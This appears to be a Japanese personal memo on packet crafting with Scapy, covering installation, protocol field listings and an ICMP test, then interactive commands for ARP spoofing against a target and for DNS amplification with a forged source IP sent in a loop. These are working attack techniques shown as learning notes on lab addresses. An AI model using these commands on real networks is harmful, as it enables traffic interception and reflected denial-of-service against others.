ScapyによるPacket生成
モチベーション
パケットクラフティングにより任意のパケット情報を生成したときのメモ書き
Scapyのインストール
Scapyのインストールを行う。pipですんなり入らない場合は以下のようにdnetやpcapモジュールもインストールする。
- pip install scapy
sudo scapyをすると以下のエラーが出る
➤ sudo scapy Password: INFO: Can't import python gnuplot wrapper . Won't be able to plot. INFO: Can't import PyX. Won't be able to use psdump() or pdfdump(). ERROR: Unable to import pcap module: No module named pcap/No module named pcapy ERROR: Unable to import dnet module: No module named dnet Traceback (most recent call last): File "/usr/local/bin/scapy", line 25, in <module> interact() File "/usr/local/lib/python2.7/site-packages/scapy/main.py", line 278, in interact scapy_builtins = __import__("all",globals(),locals(),".").__dict__ File "/usr/local/lib/python2.7/site-packages/scapy/all.py", line 28, in <module> from route6 import * File "/usr/local/lib/python2.7/site-packages/scapy/route6.py", line 271, in <module> conf.route6 = Route6() File "/usr/local/lib/python2.7/site-packages/scapy/route6.py", line 29, in __init__ self.resync() File "/usr/local/lib/python2.7/site-packages/scapy/route6.py", line 42, in resync self.routes = read_routes6() File "/usr/local/lib/python2.7/site-packages/scapy/arch/unix.py", line 150, in read_routes6 lifaddr = in6_getifaddr() File "/usr/local/lib/python2.7/site-packages/scapy/arch/unix.py", line 126, in in6_getifaddr i = dnet.intf() NameError: global name 'dnet' is not defined
dnetとpcapモジュールがimportできないと出ているので入れてみる
$ wget http://libdnet.googlecode.com/files/libdnet-1.12.tgz $ tar xfz libdnet-1.12.tgz $ cd libdnet-1.12 $ ./configure $ make $ sudo make install $ cd python $ sudo python setup.py install
$ wget http://dfn.dl.sourceforge.net/sourceforge/pylibpcap/pylibpcap-0.6.4.tar.gz $ tar xfz pylibpcap-0.6.4.tar.gz $ cd pylibpcap-0.6.4 $ sudo python setup.py install
# scapyをつかってみる sudo scapyでscapyのインタラクティブコンソールが起動する。コンソールではpythonも利用できる。 ## 関数一覧の表示 lsc() # 作成できるプロトコル一覧を表示 ls() ## IPレイヤの変数を表示 ls(IP) version : BitField = (4) ihl : BitField = (None) tos : XByteField = (0) len : ShortField = (None) id : ShortField = (1) flags : FlagsField = (0) frag : BitField = (0) ttl : ByteField = (64) proto : ByteEnumField = (0) chksum : XShortField = (None) src : Emph = (None) dst : Emph = ('127.0.0.1') options : PacketListField = ([]) ## TCP >>> ls(TCP) sport : ShortEnumField = (20) dport : ShortEnumField = (80) seq : IntField = (0) ack : IntField = (0) dataofs : BitField = (None) reserved : BitField = (0) flags : FlagsField = (2) window : ShortField = (8192) chksum : XShortField = (None) urgptr : ShortField = (0) options : TCPOptionsField = ({})
IP(dst=XXX)/ICMP():IPプロトコル(送信先IPをXXX)とICMPプロトコルを使うパケットを生成する
pkt.show:作ったパケットの中味を表示
hexdump(pkt):作ったパケットを16進数で表示
sr1(pkt):レイヤ3に向けてパケットを送信し,その応答の一つ目を変数に保存する
ICMPを送ってみる
>>> target = 192.168.0.10
>>> pkt=IP(dst=target)/ICMP()/Raw('Send ICMP')
>>> pkt.show()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= icmp
chksum= None
src= 172.20.10.10
dst= 192.168.0.10
\options\
###[ ICMP ]###
type= echo-request
code= 0
chksum= None
id= 0x0
seq= 0x0
###[ Raw ]###
load= 'Send ICMP'
>>> hexdump(pkt)
0000 45 00 00 25 00 01 00 00 40 01 B4 A9 AC 14 0A 0A E..%....@.......
0010 08 08 08 08 08 00 82 9F 00 00 00 00 53 65 6E 64 ............Send
0020 20 49 43 4D 50 ICMP
>>> result = sr1(pkt)
Begin emission:
..Finished to send 1 packets.
.*
Received 4 packets, got 1 answers, remaining 0 packets
>>> result.show()
###[ IP ]###
version= 4L
ihl= 5L
tos= 0x0
len= 37
id= 40963
flags=
frag= 0L
ttl= 51
proto= icmp
chksum= 0x21a7
src= 192.168.0.10
dst= 172.20.10.10
\options\
###[ ICMP ]###
type= echo-reply
code= 0
chksum= 0x8a9f
id= 0x0
seq= 0x0
###[ Raw ]###
load= 'Send ICMP'
ARP Spoofing
Spoofは英語でいたずら.パケットやフレームを偽造すること.
$ sudo scapy
# ARPプロトコルの変数を確認する
>>> ls(ARP)
hwtype : XShortField = (1)
ptype : XShortEnumField = (2048)
hwlen : ByteField = (6)
plen : ByteField = (4)
op : ShortEnumField = (1)
hwsrc : ARPSourceMACField = (None)
psrc : SourceIPField = (None)
hwdst : MACField = ('00:00:00:00:00:00')
pdst : IPField = ('0.0.0.0')
>>> gateway = '192.168.0.1'
>>> target = '192.168.0.100'
# ターゲットのMACアドレスを取得
>>> dst_hwaddr = getmacbyip(target)
# Arp Spoofing用のFrameを生成(GatewayのMACアドレスを自分のMACアドレスにすることで,Gateway経由の通信を全て受け取る)
>>> frame = Ether(dst=dst_hwaddr) / ARP(op=1, psrc=gateway, pdst=target)
>>> frame.show()
# レイヤ3に向けてパケットを送信する(フレームは偽造したものを利用)
>>> ans, unans = srploop(frame, iface='eth1')
>>> ans[0][0].show()
>>> ans[0][1].show()
DNS Ampを送る
DNSへのパケットリクエスト/レスポンスを確認する
$ sudo scapy
>>> resolver = '192.168.0.1'
>>> domain_name = 'www.google.com'
>>> pkt = IP(dst=resolver) / UDP() /
DNS(qd=DNSQR(qname=domain_name), rd=1)
>>> result = sr1(pkt)
>>> hexdump(pkt)
>>> hexdump(result)
>>> len(result) / float(len(pkt))
偽装パケットを送る
$ sudo scapy
>>> resolver = '192.168.0.1'
>>> domain_name = 'www.google.com'
>>> pkt = IP(dst=resolver) / UDP() /
DNS(qd=DNSQR(qname=domain_name), rd=1)
>>> result = sr1(pkt)
>>> target = '192.168.0.100' >>> pkt[IP].src = target
>>> srloop(pkt)
>>> srloop(pkt, inter=0.1)
Rubyでもできる(Scruby)
ScrubyというRuby版のscapyみたいなものもあるっぽい,